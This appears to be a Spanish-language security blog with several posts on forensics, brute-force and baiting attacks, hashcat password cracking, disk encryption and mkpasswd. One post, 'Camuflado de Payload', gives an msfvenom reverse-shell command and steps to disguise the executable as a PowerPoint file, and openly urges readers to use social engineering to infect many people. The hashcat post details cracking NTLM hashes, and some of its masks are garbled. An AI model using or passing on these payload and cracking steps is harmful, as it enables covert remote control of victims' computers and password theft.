lunes, 21 de octubre de 2019

Pasos a seguir para la recuperación de datos rastro de un ataque (informática forense).


Lo primero que debemos saber es que es un ciber ataque, podemos citar el siguiente concepto:

En computadoras y redes de computadoras un ataque es un intento de exponer, alterar, desestabilizar, destruir, eliminar para obtener acceso sin autorización o utilizar un activo. Un ciberataque o ataque informático, es cualquier maniobra ofensiva de explotación deliberada que tiene como objetivo de tomar el control, desestabilizar o dañar un sistema informático (ordenador, red privada, etcétera). El atacante es un individuo u organización que intenta obtener el control de un sistema informático para utilizarlo con fines maliciosos, robo de información o de hacer daño a su objetivo. Un ciberataque utiliza códigos maliciosos, para corromper los códigos, datos privados o algoritmos, generando consecuencias que comprometen y vulneran la seguridad de los sistemas de información.
Fuente: Wikipedia

Teniendo ya una mejor idea con el concepto citado y tomando como punto de partida el caso de que, ya, se haya realizado un ataque a un sistema informático, Que pasos ó métodos debemos seguir para recopilar información en base a los rastros dejados por el ó la atacante o atacantes en dicho sistema informático o información vulnerada.

En los siguientes pasos se describirá de manera resumida que pasos se suelen seguir usualmente:

Primer paso:

Lo primero que se debe hacer es poner los equipos o sistema informático en una especie de cuarentena donde no sea utilizado o siga en producción una vez que se detecte que se ha perpetrado un ataque sobre los mismos o el mismo, ya que esto podría borrar los datos que son rastros de un ataque.

Segundo paso:

Determinar el alcance del ataque y en que momento se ejecuto, para determinar el alcance nos podemos dar una idea con el siguiente texto citado de wikipedia:


  • Daños triviales: Daños que no ocasionan ninguna pérdida grave de funcionalidad del sistema y que originan una pequeña molestia al usuario. En este tipo de daños los VIRUS que los causan son muy fáciles de remover y eliminar, por lo que se pueden quitar solo en segundos o minutos.
  • Daños menores: Daños que ocasionan una pérdida de la funcionalidad de las aplicaciones que poseemos. En el peor de los casos se tendrá que reinstalar las aplicaciones afectadas. En este tipo de daños se tiene que tener en cuenta el VIRUS Jerusalén. Este virus, los viernes 13, borra todos los programas que uno trate de usar después de que el virus haya infectado la memoria. Lo peor que puede suceder es que tocaría volver a instalar los programas borrados por dicho virus.
  • Daños moderados: Este daño sucede cuando un virus formatea el disco duro y/o mezcla los componentes de la tabla de asignación de archivos (en inglés, File Allocation Table FAT) y/o también puede que sobrescriba el disco duro. Sabiendo esto se puede reinstalar el sistema operativo y usar el último respaldo de datos.
  • Daños mayores: Algunos virus pueden pasar desapercibidos y pueden lograr que ni utilizando el backup se pueda llegar a los archivos. Un ejemplo es el virus Dark Avanger que infecta los archivos acumulando. Cuando llega a 16, el virus escoge un sector del disco duro al azar y en ella escribe:  "Eddie lives... somewhere in time" (Eddie vive... en algún lugar del tiempo) Cuando el usuario se percata de la existencia del virus ya será demasiado tarde pues los archivos más recientes estarán infectados con el virus.
  • Daños severos: Los daños severos son hechos cuando los VIRUS hacen cambios mínimos y progresivos. El usuario no sabe cuando los datos son correctos o han cambiado, pues no se ve fácilmente, como en el caso del VIRUS Dark Avanger. También hay casos de virus que infectan aplicaciones que al ser descontaminadas estas aplicaciones pueden presentar problemas o perder funcionalidad.
  • Daños ilimitados: Algunos programas como CHEEBA, VACSINA.44.LOGIN y GP1 entre otros, obtienen la clave del administrador del sistema. En el caso de CHEEBAS, crea un nuevo usuario con el privilegio máximo poniendo el nombre del usuario y la clave. El daño lo causa la tercera persona, que ingresa al sistema y podría hacer lo que quisiera.
Fuente: Wikipedia


Tercer paso:

Identificar el tipo de ataque una vez determinados los daños causados ya con esto se tiene una primera pista para determinar el tipo de ataque que se realizó aunque se debe buscar de forma concienzuda para determinar que tipo de ataque se realizó, a continuación se lista algunos de los tipos de ataques más usuales:

Cuarto paso:

Determinar su procedencia sea local (desde que equipo de la intranet se ejecuto) o si proveniente de Internet (este paso requiere seguir direcciones ip hasta su posible fuente aveces se logra descubrir desde que lugar del planeta se efectuó el ataque con mucha precisión).

Para esto se puede hacer recuperando los logs del sistema con textdisk y haciendo un seguimiento de la red con nmap y otros programas.

Quinto paso:

Documentar y guardar toda evidencia posible sin hacer ningún tipo de modificación para posibles litigios legales contra el o los atacantes (esto quiere decir si es necesario mantener la cuarentena de los equipos de hardware afectados y usar otros en sustitución temporal para el funcionamiento de la empresa o particular).

Sexto paso:

Teniendo en cuenta los datos que no fueron afectados por el ataque se procede a restaurar los últimos datos que no fueron afectados por el mismo junto a los respaldos de seguridad si no se tienen respaldos de seguridad se restauran los datos y software que no fueron afectados pero englobándolos con nuevas medidas se seguridad que tengan en cuenta este tipo de ataque.

Si el ataque fue por eliminación de toda la información un excelente programa para recuperar las direcciones de memoria y reconstruir los archivos borrados es testdisk si los mismos no fueron sobre escritos o borrados de forma segura si esto es así ninguna data podrá ser restaurada generando perdidas para la empresa o persona particular.


Estos pasos que listo los realice a mi criterio personal cualquier sugerencia para mejorarlos será bien recibida.

Si te gusto esta entrada no dudes en realizar un donativo en la sección Ayúdame


viernes, 10 de mayo de 2019

Camuflado de Payload


¿Qué es un payload?.

Un payload es una carga que ejecuta una vulnerabilidad o que se aprovecha de la misma, pero el mismo tiene que ser ejecutado por el usuario para poder aprovecharse de esa vulnerabilidad.

Camuflar un payload.

Generalmente es necesario camuflarlo por que si el usuario se percata del archivo extraño no lo ejecutará, eliminará o en otros casos notificará a expertos en seguridad sobre la aparición de ese archivo o el intento por parte del alguien de enviarle un archivo extraño.

¿Qué herramienta esta disponible para ello?.

Existen infinidad de herramientas para crear y y camuflar payloads de hecho a continuación se listan 3 pero se usará para ejemplo solo una.


  1. msfvenom disponible en Hercules (se crea el payload).
  2. Metasploit framework.
  3. Backdoorppt (las más sencilla para usar como ejemplo de camuflado).


Comenzando a camuflar un payload con backdoorppt.

Para el presente ejemplo se usa debian GNU/Linux versión 8 y 9 ejecutar dicha herramienta.

Lo primero es descargarla ya que no se encuentra disponible por defecto en ninguna de las versiones de dicha distribución la podemos obtener con los siguientes comandos:

$ mkdir backdoorppt
$ cd backdoorppt
$ wget https://github.com/r00t-3xp10it/backdoorppt/archive/master.zip

Una vez teniendo el archivo en la pc y estando en la consola en la carpeta donde lo descargamos procedemos al siguiente paso que es descomprimirlo:

$ unzip master.zip

Luego de esto se procede a generar un payload (ojo este es un comando ejemplo para generarlo con msfvenom de Hercules) para ello se debe tener msfvenom + Hercules corriendo en el sistema operativo.

$ msfvenom -a x86 –platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.188 LPORT=1234 -b «\x00» -e x86/shikata_ga_nai -f exe -o /tmp/documento.exe

El siguiente paso es; ejecutar backdoorppt con el siguiente comando como super usuario:

$ ./master/backdoorppt.sh

ó

$ sh master/backdoorppt.sh

Nota: si usas kde como entorno gráfico antes de ejecutar backdoorppt.sh se debe como usuario normal ejecutar el comando:
$ xhost +

El mismo se ejecutará comprobará las dependencias necesarias y como esta adaptado para sistemas tipo debian instalará las dependencias que hagan falta para su funcionamiento en caso de otras distribuciones las dependencias se deben instalar manualmente.

A continuación de mostrará una ventana para seleccionar el archivo ejecutable a camuflar lo eleccionamos pulsamos en "Aceptar" o "Abrir" luego nos mostrará otra ventana que el nombre que queremos darle a nuestro archivo payload camuflado, le damos el nombre por ejemplo: "confidencial",  y pulsamos "aceptar".

Esto generará el payload camuflado, si lo vemos con el comando ls que si nombre y extensión es:

$ ls
confidencial?tpp.exe

Y en el explorador de archivos su nombre es; "confidencial.ppt", solo falta un poco de ingeniería social y aprovecharse de la curiosidad de la gente así lograrás infectar a muchos de esta manera.


Si te gusto esta entrada no dudes en realizar un donativo entrando en la sección de Ayúdame.

martes, 30 de abril de 2019

Ataques por fuerza bruta ¡tu contraseña será mía!


En criptografía, un ataque por fuerza bruta es la forma de recuperar una clave probando todas las combinaciones posibles hasta encontrar aquella que permite el acceso a un sistema informático o a unos datos encriptados.

El concepto más a detalle:
Es el procedimiento por el cual a partir del conocimiento del algoritmo de cifrado empleado y de un par texto claro/texto cifrado, se realiza el cifrado (respectivamente, descifrado) de uno de los miembros del par con cada una de las posibles combinaciones de clave, hasta obtener el otro miembro del par. El esfuerzo requerido para que la búsqueda sea exitosa con probabilidad mejor que la par será   operaciones, donde n es la longitud de la clave (también conocido como el espacio de claves). Fuente: Wikipedia.
¿Qué tan efectivos son los Ataques de Fuerza Bruta?.

Su efectividad varía dependiendo de dos de factores; Tiempo y tenacidad, el proceso para lograr descifrar una contraseña puede llevar una extensa cantidad de tiempo para que llegue a ser exitoso.

Esto quiere decir que un hacker puede durar desde unos minutos hasta posiblemente años para lograr descifrar una contraseña todo esto depende de la longitud y complejidad de la misma. Sin embargo un ataque de fuerza bruta tiene diferentes extrategías para ser ejecutado.

¿Cómo puedo evitar que descifren mi contraseña?.

Para evitar o mitigar un posible acceso a nuestros datos debemos tener una contraseña que sobrepase los 8 digitos y que incluya caracteres alfanuméricos y signos especiales, la misma cambiarla cada cierto tiempo pro ejemplo cada 90 días máximo y que no incluya parcialmente informaciones personales en la construcción de la misma ya que es lo primero que un hacker probaría.

Ataque de Fuerza Bruta, Ataque de Diccionario y Ataque de Tabla Arcoiris.
  1. Ataque diccionario: Por una parte, encontramos los ataques de diccionario. Su lógica es sencilla: Consiste en probar todas las palabras del diccionario. Aunque pareciera mucho trabajo por hacer, la verdad es que suele ser más eficaz que un ataque de fuerza bruta porque muchos usuarios emplean una palabra en su idioma que puedan recordar con más facilidad.
  2. Ataque tabla arcoiris: Parten del valor hash para reproducir los pasos de la cadena hasta obtener la contraseña. Sin embargo, muchas veces el valor no se encuentra en la tabla; por lo que se recrea al reducir el valor con la misma función con la cual se creó la cadena. Este procedimiento se repite hasta conseguir el valor resumen en un punto final. Ahora bien, eso no significa que se ha encontrado la contraseña, sino la cadena de caracteres que al final; terminará revelando el texto plano que compone la contraseña. Se les llaman Tablas Arcoiris porque se asigna un color distinto a cada reducción para evitar confusiones. Al final son tantas las reducciones con sus respectivos colores, que termina por parecer un arcoiris.
  3. Ataque por fuerza bruta: Que consiste en probar todas las combinaciones posibles.
¿Los 3 tipos de ataques se pueden combinar?.

La respuesta es si los ataques de diccionario y arcoiriris pueden complementar el ataque por fuerza bruta para tener mejores resultados en el menor tiempo posible.

Protección en los mecanismos de contraseña contra Ataques de Fuerza Bruta.

Esta protección se realiza con miras a dificultar los ataques de fuerza bruta. Por ejemplo, si el usuario introduce una clave equivocada deberá esperar un corto tiempo antes de intentarlo de nuevo. Esta medida es exponencial, es decir, se va incrementando el lapso de tiempo de espera a medida que se repiten los intentos fallidos. Otra medida drástica es bloquear la cuenta al X número de intentos fallidos, y lanzar una alarma vía inbox en la cuenta asociada.

- Autenticación multifactor.

Muchos sistemas u proveedores de servicio implementan esto para aumentar la dificultad que puedan descifrar o acceder a los datos del usuario o persona.

¿Es necesario hardware especial para ello?.

No necesariamente pero disminuye el tiempo empleado para el ataque en gran medida si se dispone de gran cantidad de recursos de hardware para ello.

Software (Herramientas) para el ataque por fuerza bruta:


Si te gusto esta entrada no dudes en realizar un donativo entrando en la sección de Ayúdame

domingo, 28 de abril de 2019

Cómo crear un disco ó partición encriptada con dm-crypt ¡A prueba de tanques!


¿Qué es dm-crypt?.
 Es un subsistema de cifrado de discos que provee cifrado transparente de dispositivos de bloque utilizando la utilidad cryptoapi del kernel de Linux 2.6. Las escrituras a este dispositivo serán cifradas y las lecturas descifradas. Se podrá montar un sistema de archivos en el mismo de la manera habitual, pero no se podrán acceder los datos sin la clave.
Básicamente realiza lo mismo que cryptoloop, pero posee modos más avanzados de operación, es más adecuado para satisfacer la necesidad de un dispositivo de bloque, y tiene una interfaz de configuración más flexible. El formato on-disk también es compatible.
En Microsoft Windows, los discos cifrados con dm-crypt pueden ser utilizados con FreeOTFE.
     Fuente: Wikipedia.
Creando la unidad o disco encriptado:

Para el ejemplo de como crear una unidad o disco encriptado se usará como base el sistema Operativo Universal Debian GNU/Linux en su versión 8.x aplicable a versiones posteriores.

Lo es verificar si esta disponible en los repositorios con el siguiente comando:

apt-cache search cryptsetup
   
Mostrará lo siguiente:

cryptmount - Management of encrypted file systems
cryptsetup - disk encryption support - startup scripts
cryptsetup-bin - disk encryption support - command line tools
libcryptsetup-dev - disk encryption support - development files
libcryptsetup4 - disk encryption support - shared library
udisks - storage media interface
udisks2 - D-Bus service to access and manipulate storage devices

Como vemos que el paquete esta disponible procedemos a instalarlo con:

apt-get install cryptsetup

Para crear la partición cifrada, se deben ejecutar los siguientes pasos:

Ejecutar cryptsetup en la partición, lo cual crea un dispositivo de mapeo con target crypt.

Crear el sistema de archivos en el nuevo dispositivo.

Montar del nuevo dispositivo.

En el siguiente ejemplo se transformará el volumen físico /dev/sda3z en el volumen lógico (cifrado) en /dev/mapper/privado (en este caso "privado" es la etiqueta del dispositivo descifrado) y se montará en /var/privado.

Para crear el volumen lógico con la librería cryptsetup:

cryptsetup -y create privado /dev/sda3

El parámetro "-y" fuerza al usuario a ingresar dos veces la clave a utilizar.

O crear el volumen lógico con el script cryptsetup que incluye en Debian el paquete hashalot http://packages.debian.org/unstable/utils/hashalot.

cryptsetup -c aes -h ripemd160 -s 32 create privado /dev/sda3

Para confirmar que se haya ejecutado correctamente:

dmsetup ls privado (254, 0)

Crear el sistema de archivos:

mkfs.ext3 /dev/mapper/privado

Montar el sistema de archivos:

mount /dev/mapper/privado /var/privado

Esto es aplicable a una partición que ocupe todo el disco.


Si te gusto esta entrada no dudes en realizar un donativo entrando en la sección de Ayúdame.

viernes, 19 de abril de 2019

Recuperando contraseña con HashCat ¡El gato maligno!


¿Qué es hashcat?.

Es una aplicación o software creado para recuperar contraseñas a partir del hash.

¿Cómo funciona?.

No es más que un una aplicación que usa diferentes tipos de ataques para lograr descifrar una contraseña los cuales son:
  1. Diccionario de claves.
  2. Ataque combinado.
  3. Fuerza bruta.
  4. Ataque Híbrido.
Ejemplo de como usarlo tomado de (www.securityartwork.es):

Siendo hashcat la herramienta más efectiva para el cracking de contraseñas se aplicarán una serie de métodos para este fin.

Algo que debemos tomar en cuenta es el tiempo que tenemos disponible para ello ya que estos ataques suelen durar bastante tiempo por eso de debe tomar el ataque que más se amolde a ello, una de las cosas que se debe hacer es planificar en base al tiempo que disponemos, la tipología de las contraseñas en esto incide mucho el idioma y el país haspectos como edad promedio de la población todo esta información nos ayudará mucho para saber el contexto sobre el cual se hará el ataque.

Para este ejemplo se buscará contraseñas de hasta un máximo de 12 caracteres que empiecen por nombre seguido de la fecha de nacimiento, usando distintas opciones disponibles en hashcat.

Comenzaremos obviamente teniendo en cuenta de que ya se tiene hashcat instalado en nuestro equipo y que se tiene un hashdump.txt resultado de una auditoria de equipos windows X obtenidas  mediante la herramienta hashdump el cual tiene el siguiente formato:

user1:7362:aad3b435b51404eeaad3b435b51404ee:b562d5031359813a06914d562d421acd:::
user2:7787:aad3b435b51404eeaad3b435b51404ee:3b7a5bb9f8a12f74dadb7adf740cf7c1:::
user3:7788:aad3b435b51404eeaad3b435b51404ee:2501dd5aa075d4854559a5ee023df798:::
user4:7789:aad3b435b51404eeaad3b435b51404ee:11cdb1cb2b21aba701d1113fcf6e3c4f:::
user5:7790:aad3b435b51404eeaad3b435b51404ee:722ab3c822cb6a49bf89830bb5ffaea9:::
user6:7800:aad3b435b51404eeaad3b435b51404ee:79aff34e34c1fa16fffc7c6765e23636:::
user7:7801:aad3b435b51404eeaad3b435b51404ee:73366d77424b259794cac80f4e3fc8c9:::
user8:7803:aad3b435b51404eeaad3b435b51404ee:e2ad4eff06322cf9240ab93288fda61c:::

El formato de cada línea por campos separados por ':'.

(Usuario):(SID):(hash LM):(hashNTLM):::

Como  se puede observar, el tercer campo (hash en formato LM) es siempre el mismo para todas las entradas (aad3b435b51404eeaad3b435b51404ee). Este hash corresponde con el hash LM de la cadena vacía, e indica que el sistema de donde hemos obtenido la tiene deshabilitado los hashes LM (deshabilitado por defecto a partir del Windows Vista), por lo que nos centraremos en el cuarto campo (hash NTLM).

- Fuerza bruta:

Lo primero que haremos crear un archivo ntlm.hp que contenga únicamente ese campo, mediante cualquier herramienta que nos lo permita, por ejemplo AWK:

awk –F’:’ ‘{print $4 >> ntlm.hp}’ hashdump.txt

Ahora necesitamos indicarle a hashcat el tipo de hash que le estamos proporcionando, y lo haremos utilizando el parámetro –m (hash mode). Observando el apartado [ Hash modes ] con el comando:

./hashcat64.bin -h

Podemos obtener este valor (1000) en la imagen más abajo:



Con todo esto, lo siguiente será elegir entre los distintos tipos de ataques que nos proporciona Hashcat, los cuales los podemos ver en el apartado [ Attack Modes ] de la misma ayuda.


En los modos de ataque (Attack Modes) se puede observar los tipos de ataques disponibles, como ya se mencionó antes se va a tratar de obtener las contraseñas en el formato nombre mas fecha de nacimiento.

hashcat64.bin –m 1000 –a 3 ntlm.hp

Si ejecutamos este comando, hashcat generará y comprobará contraseñas a partir de una serie de máscaras predefinidas por defecto, pero para el objetivo de este artículo, crearemos nuestras propias máscaras.

¿Pero que es una máscara? Una máscara es un conjunto de reglas que indican como están formadas las contraseñas que queremos generar. Más concretamente, una máscara especificará, para cada posición de la contraseña, el conjunto de caracteres que puede tener.

Cada posición de nuestra máscara puede contener un carácter fijo o un charset, que no es más que un conjunto caracteres.

Al contrario de los caracteres fijos, los charsets irán precedidos del signo de interrogación.

En la propia ayuda de hashcat podemos observar los charsets predefinidos de hashcat:



Como se puede observar, todos los charsets son una serie de caracteres definidos, excepto el charset ?a, que está formado por la combinación de los charsets ?l,?u,?d y ?s.

La razón de esto es que hashcat permite definir un charset como la combinación de otros charsets, por ejemplo, si quisiéramos definir un charset que contuviera tanto mayúsculas como minúsculas podríamos definirlo de la siguiente manera: ?l?u

Ejemplos de ataques utilizando máscaras:

hashcat64.bin –m 1000 –a 3 ntlm.hp pass1234

Comprobaría únicamente la contraseña (pass1234), mientras que el comando:

hashcat64.bin –m 1000 –a 3 ntlm.hp pass?d?d?d?d

Comprobaría todo el espectro de contraseñas que empezaran por “pass” y cuyos cuatro siguientes caracteres fueran dígitos decimales (pass0000-pass9999)

Mediante la máscara ?a?a?a?a?a?a?a?a?a?a?a?a, podemos simular un típico ataque por fuerza bruta para comprobar todas las contraseñas de 12 caracteres de cualquier combinación de dígitos decimales, signos, mayúsculas y minúsculas.



Además, para no tener que crear una máscara para cada longitud de contraseña que queramos probar, hashcat nos proporciona el argumento –i (–increment), con el que hashcat irá probando iterativamente las n primeras posiciones de la máscara para cada iteración hasta el máximo de caracteres que hayamos especificado con el argumento –increment-max o el tamaño de la máscara en caso de que no se lo hayamos especificado.

Por ejemplo para el comando:

./hashcat64.bin –m 1000 –a 3 ntlm.ph ?a?a?a?a?a –i –increment—min 2 increment—max 4

Se probarán secuencialmente las máscaras:

?a?a

?a?a?a

?a?a?a?a

Como podemos observar en la línea Progres y Time.estimated de la imagen, al ejecutar el ataque mediante la máscara ?a?a?a?a?a?a?a?a?a?a?a?a, se generarán y se comprobarán un total de 180602555536776954753 combinaciones, que en nuestra máquina, que dispone de 2 potentes tarjetas gráficas, tardaría más de 10 años en completarse.

Con el fin de reducir las combinaciones posibles para nuestro objetivo, podríamos utilizar la máscara ¿u?l?l?l?l?l?l?l?ld?d?d?d que comprendería todo el espectro de contraseñas desde Aaaaaaaa0000 hasta Zzzzzzzz9999.



Esto incluiría prácticamente todos los nombres posibles de hasta 8 letras seguidos de todas las fechas de nacimiento desde el año 0 hasta el 9999 D.C.

Aunque hemos reducido considerablemente el tiempo necesario para probar todas las posibles combinaciones de nuestro objetivo de más de 10 años a menos de 2 días, todavía estamos probando muchas contraseñas que no se ajustan a nuestro objetivo, como por ejemplo todas aquellas que contengan una fecha de nacimiento anterior a 1900 o posterior a 2017, por lo que todavía podemos intentar reducir este tiempo creando una máscara que descarte las mismas, y para ello, será necesario definir nuestros propios charsets.

Hashcat permite utilizar para cada ataque 4 charsets (custom-charsets) personalizables por el usuario, mediante los argumentos -1, -2, -3 y -4.

En este caso, necesitaremos crear 2 máscaras, una para aquellas contraseñas que contengan la fecha de nacimiento desde 1900 hasta 1999:

./hashcat64.bin -m 1000 -a 3 ntlm.hp ?u?l?l?l?l?l?l?l19?d?d

Y otra para aquellas del 2000 al 2017.

./hashcat64.bin -m 1000 -a 3 ntlm.hp -1 01 -2 012345678 ?u?l?l?l?l?l?l?l20?1?2

Para esta última, hemos definidos 2 charsets propios:

-1 01, que utilizaremos para decirle a la máscara que el carácter que representa las decenas de la fecha de nacimiento solo podrá contener el valor 0 o 1, y así evitar que genere aquellas fechas desde 2020.

-2 012345678, que utilizaremos para evitar que genere la contraseña 2019.

EDIT: También elimina la 2009


Con esto, habremos reducido el tiempo de cerca de 2 días a menos de 30 minutos.

Hay que tener en cuenta que para nuestro objetivo, no podemos utilizar la opción –incremental, ya que esta opción no cumpliría nuestros requisitos al ir eliminando las últimas posiciones de la máscara, por lo que tendremos que crear una máscara distinta para cada longitud de contraseña de la siguiente manera:

¿u?l?l?l?l?l?l?l?ld?d?d?d

¿u?l?l?l?l?l?l?ld?d?d?d

¿u?l?l?l?l?l?ld?d?d?d

….

¿u?l?d?d?d?d

Para complicar algo más la cosa, algunos administradores, han tenido la valentía enfrentarse a la furia de los usuarios y les han obligado a crear contraseñas que contengan al menos, un signo de puntuación.

Para contemplar esta opción, podríamos añadir a nuestra máscara la opción de que se los nombres también contuvieran signos de puntuación.

Para ello añadiremos los customs-charsets:

     -3 ?u?s : Donde antes habían mayúsculas ahora también pueden haber símbolos

     -4 ?l?s : Donde antes habían minúsculas ahora también pueden haber símbolos



Como podemos observar, al añadir estas opciones volveremos a aumentar el tiempo estimado en 2 días, ¿podríamos optimizar esto un poquito más?

Una de las cosas a tener en cuenta con este ataque, es que obtendríamos aquellas contraseñas como Paquito. 2010, pero también cosas como ##_*#.-##2010.

Aunque en algunos contextos puede valer la pena comprobar este tipo de contraseñas, Según nuestra teoría del pensamiento universal, la mayoría de gente intentará realizar el mínimo esfuerzo para cumplir con las políticas de contraseña, por lo que optarán con poner un solo símbolo de puntuación.

Con esta premisa, crearemos una máscara para cada posición en la que pueda estar el signo de puntuación, evitando así la generación de contraseñas en las que haya más de un signo de puntuación.



Con una media de 5 minutos y 30 segundos para cada máscara con un signo de puntuación, necesitaremos cerca de 60 minutos para comprobar todas las posibles posiciones del signo de puntuación.

Como hemos observado, para optimizar nuestra búsqueda, ha sido necesario crear distintas máscaras, lo que genera el inconveniente de tener que estar pendientes de que acabe un ataque con una máscara para ejecutar la otra.

Para evitar esta situación, hashcat permite pasarle como argumento un archivo de máscaras (una por línea), que ejecutara secuencialmente, para ello dispone del directorio masks, donde podemos encontrar ejemplos de máscaras. Además, esto nos permitirá tener almacenadas las diferentes estrategias de ataque que vayamos creando para utilizarlas cuando más nos convenga. En nuestro caso, el archivo con las máscaras tendría esta forma.




Como podemos observar en las últimas máscaras de la imagen, cuando especificamos nuestros propios charsets para cada máscara en un fichero, no lo haremos de la misma manera que en la línea de comandos. Sino que separaremos cada uno de los custom-charsets por comas.

Por ejemplo, donde antes teníamos los ataques:

./hashcat64.bin –m 1000 –a 3 -1 ABC -2 aeiou ?1?1?1?1?2?2?2?2

./hashcat64.bin –m 1000 –a 3 -1 ?l?u ?a?a?a?a?1?1?1?1

Ahora tendremos un fichero ejemplo.hcmask que contendrá las líneas:

     ABC,aeiou,?1?1?1?1?2?2?2?2

     ?l?u,?a?a?a?a?1?1?1?1

Y ejecutaremos el ataque con el siguiente comando.

./hashcat64.bin –m 1000 –a 3 ejemplo.hcmask

Los charsets que definamos, también puedes que pueden ser almacenados en ficheros .hcchr para poder utilizarlos posteriormente. Encontraremos ejemplos de estos ficheros en el directorio charsets.

Straight (Ataque por diccionario):

Aunque hemos conseguido optimizar bastante nuestra búsqueda mediante ataques basados en máscaras, las probabilidades de que exista alguna persona que se llame Aaaaaaaaa o Zxcfdcvilio son bastante bajas, así que todavía tenemos opciones de optimizar nuestro ataque.

Cuando tenemos una lista de palabras que puedan ser candidatas a formar parte de las contraseñas que estamos buscando, existe la opción de realizar un ataque por diccionario. Para nuestro ejercicio, por ejemplo, podemos utilizar los datos que nos proporciona el instituto nacional de estadística en su página web www.ine.es/daco/daco42/nombyapel/nombyapel.htm, donde tenemos un listado con todos los nombres femeninos y masculinos junto con datos estadísticos, lo que nos permitirá además, crear un diccionario ordenado con los nombres de mayor a menor frecuencia, aumentando así la probabilidad de encontrar más contraseñas en un tiempo menor.

Para ejecutar este ataque únicamente necesitaremos indicarle el tipo de hash seguido del archivo de hashes y el archivo que contenga el diccionario, que en este caso será un archivo que contendrá los 9098 nombres más comunes de España.

./hashcat64.bin -m 1000 -a 0 ntlm.hp nombres.dict



Como podemos observar en la hora de inicio y fin del ataque, la finalización del mismo es casi instantánea.

Pero con este ataque, no estamos cumpliendo con el requisito de que las contraseñas que finalicen con una fecha de nacimiento. Para cumplir con este requisito, tendríamos la opción de modificar el diccionario añadiendo a cada nombre incluido en el todas las fechas posibles, pero hashcat nos facilita esta tarea mediante los ataques híbridos.

- Ataques híbridos ( diccionario + máscara):

Hashcat dispone de dos variantes de ataques híbridos, la opción -6 (dict + mask), en la que generará contraseñas añadiendo la máscara al final de cada término de diccionario, y la opción -7, en los que generará contraseñas añadiendo la máscara al inicio de cada termino.

Para el objetivo que nos traemos entre manos, bastaría ejecutar un ataque hibrido -6 (dict+mask) con el fin de añadir todas las posibles fechas a cada nombre del diccionario. Teniendo en cuenta que la ejecución del ataque por diccionario ha sido instantánea, nos permitiremos el lujo de utilizar como mascara todas las combinaciones de 4 dígitos (d?d?d?d).

./haschat64.bin -m 1000 -a 6 ntlm.hp nombres.dict ?d?d?d?d



Este ataque también finaliza instantáneamente.

Aunque los tiempos obtenidos mediante el ataque por diccionario y los ataques híbridos han sido con diferencia los más bajos de todas las pruebas, estos ataques ofrecen poca flexibilidad para generar contraseñas con patrones más complejos, como por ejemplo, para añadir que la primera letra del nombre sea en mayúscula (habría que añadir todos los nuevos nombres con la inicial en mayúscula al diccionario), o considerar la opción de que haya un signo de puntuación presente en la contraseña.

Para ello, hashcat nos ofrece lo que llama ataques basados en reglas.

Si te gusto esta entrada no dudes en realizar un donativo entrando en la sección de Ayúdame.

martes, 16 de abril de 2019

Baiting ¡Toda unidad extraíble es el enemigo!


El Baiting es una forma de virus informático muy semejante o perteneciente a un grupo de virus que se conocen como "Caballo de Troya", pero..., el mismo se encuentra en unidades de almacenamiento extraíble como pendrives, memorias SD o micro SD, entre otras, este es muy usado en el caso de personas que tienen acceso físico a los equipos computacionales.

¿Cómo logran infectar a las victimas?.

Pues con un poco de ingeniería social y aprovechándose de la codicia o avaricia de las victimas con la promesa de descargas ó copias gratuitas de películas, música, entre otros, suelen infectar a sus victimas, los atacantes suelen llamarse "Baiters" y siempre explotan la curiosidad humana cosa que les permite hacer ataques muy efectivos.

¿Cómo se hace el baiting?.

Pues es muy sencillo demos un Ejemplo: "Esta es una empresa X" que sus oficinas como en todos los casos disponen de estacionamiento simplemente un baiter entra en el estacionamiento de deja pendrives o memorias USB con el virus esparcidas por varios puntos de manera tal que los trabajadores las encuentren y las tomen para su uso personal, es solo cuestión de tiempo que alguno de ellos introduzca la memoria en algún computador u ordenador de la empresa infectándolo y poniendo en riesto la seguridad de la información que se maneja de la empresa, es algo tan sencillo como eso.

¿Cómo protegerse del baiting?.

La única manera de protegerse es formando a los integrantes del grupo familiar o de trabajo incluso a usted mismo de la importancia de la seguridad y de la serie de esquemas de ingeniería social aplicable por los atacantes , aplicando esquemas de de seguridad y responsabilidades entro de la empresa (grupo de trabajo) o grupo familiar, y hacerlos conscientes de los peligros que puede entrañar la falta de precaución.

Si te gusto esta entrada no dudes en realizar un donativo entrando en la sección de Ayúdame.

viernes, 22 de febrero de 2019

Sniffer El espía oscuro.



¿Qué es un sniffer?.
En informática, un Sniffer (analizador de protocolos) es un programa de captura de las tramas de una red de computadoras.
Es algo común que, por topología de red y necesidad material, el medio de transmisión (cable coaxial, cable de par trenzado, fibra óptica, etc.) sea compartido por varias computadoras y dispositivos de red, lo que hace posible que un ordenador capture las tramas de información no destinadas a él. Para conseguir esto el analizador pone la tarjeta de red en un estado conocido como "modo promiscuo" en el cual en la capa de enlace de datos no son descartadas las tramas no destinadas a la dirección MAC de la tarjeta; de esta manera se puede capturar (sniff, "olfatear") todo el tráfico que viaja por la red.
Los analizadores de paquetes tienen diversos usos, como monitorear redes para detectar y analizar fallos, o para realizar ingeniería inversa en protocolos de red. También es habitual su uso para fines maliciosos, como robar contraseñas, interceptar correos electrónicos, espiar conversaciones de chat, etc.
Fuente: wikipedia

¿Hay programas especializados para realizar sniffing?.

Entre los programas más utilizados tenemos:

  • Wireshark.
  • Tcpdump.
  • Kismet.
  • nmap.
¿Sniffer en wifi?

En las redes wifi una de estas aplicaciones que se ejecute con intenciones maliciosas puede obtener datos de los usuario conectados a esa red, en la wifi libres es aun mayor la exposición a ser victima de un ataque por este tipo de software.


Si te gusto esta entrada no dudes en realizar un donativo.

Contraseñas seguras con mkpasswd



¿Qué es mkpasswd?.

Es un programa o herramienta de la terminal o consola disponible en GNU/Linux y otros sistemas timo UNIX que permite cifrar tus contraseñas, pero también sirve para generar contraseñas aleatorias, el mismo permite seleccionar el método de encriptación a usar para generar las cadenas de caracteres aleatorias, es muy útil ni no tenemos idea exacta para crear una buena contraseña que sea segura a pesar de que la misma sería difícil de memorizar nos daría una seguridad más elevada en caso de ataques de fuerza bruta para dar con la contraseña.

¿Cómo usarlo?.

A continuación algunas de las posibles formas e la que podemos ejecutar el mismo:

mkpasswd

Ejecutándolo sin parámetros requiere una contraseña de forma interactiva y genera una una cadena aleatoria con el algoritmo de encriptación por defecto.

mkpasswd tucontraseña

Pasandole como parámetro la contraseña es igual que al ejecutarlo sin parametros.

mkpasswd -m sha-256 tucontraseña

La opcion -m permite seleccionar el método de encriptación a usar en este caso sha-256.

mkpasswd -m sha-512 tucontraseña

mkpasswd -m md5 tucontraseña

